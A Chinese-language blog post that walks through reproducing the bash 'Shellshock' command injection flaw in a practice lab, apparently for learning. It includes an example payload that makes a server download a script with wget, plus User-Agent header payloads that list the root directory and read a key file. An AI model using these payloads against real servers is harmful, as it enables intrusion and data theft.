漏洞復現——bash遠程解析命令執行漏洞


漏洞描述:Bash腳本在解析某些特殊字符串時出現邏輯錯誤導致可以執行后面的命令,在一些cgi腳本中,數據是通過環境變量來傳遞的,這樣就會形成該漏洞

漏洞原理:bash通過以函數名作為環境變量名,以“(){”(bash只有在遇到特殊的環境變量才會觸發該漏洞)開頭的字串作為環境變量的值來將函數定義導出為環境變量。而該漏洞就在於BASH處理這樣的“函數環境變量”的時候,並沒有以函數結尾“}”為結束,而是一直執行其后的shell命令。 比如:(){:;};wget http://127.0.0.1/test.sh 服務器在處理這個請求的時候,會執行wget命令,就會把這個test.sh下載下來

漏洞攻擊:抓包修改user-agent內容

漏洞防御:升級版本:

示例:在一個靶場復現該漏洞

第一種方法:

這是一個存在該漏洞的網站,我們需要去找一下有cgi的頁面,如下圖:

抓包,將User-Agent的改成  () { :;}; echo; /bin/ls /

"/bin/ls /"是調用ls查看所有文件

 

 查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功得到key

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM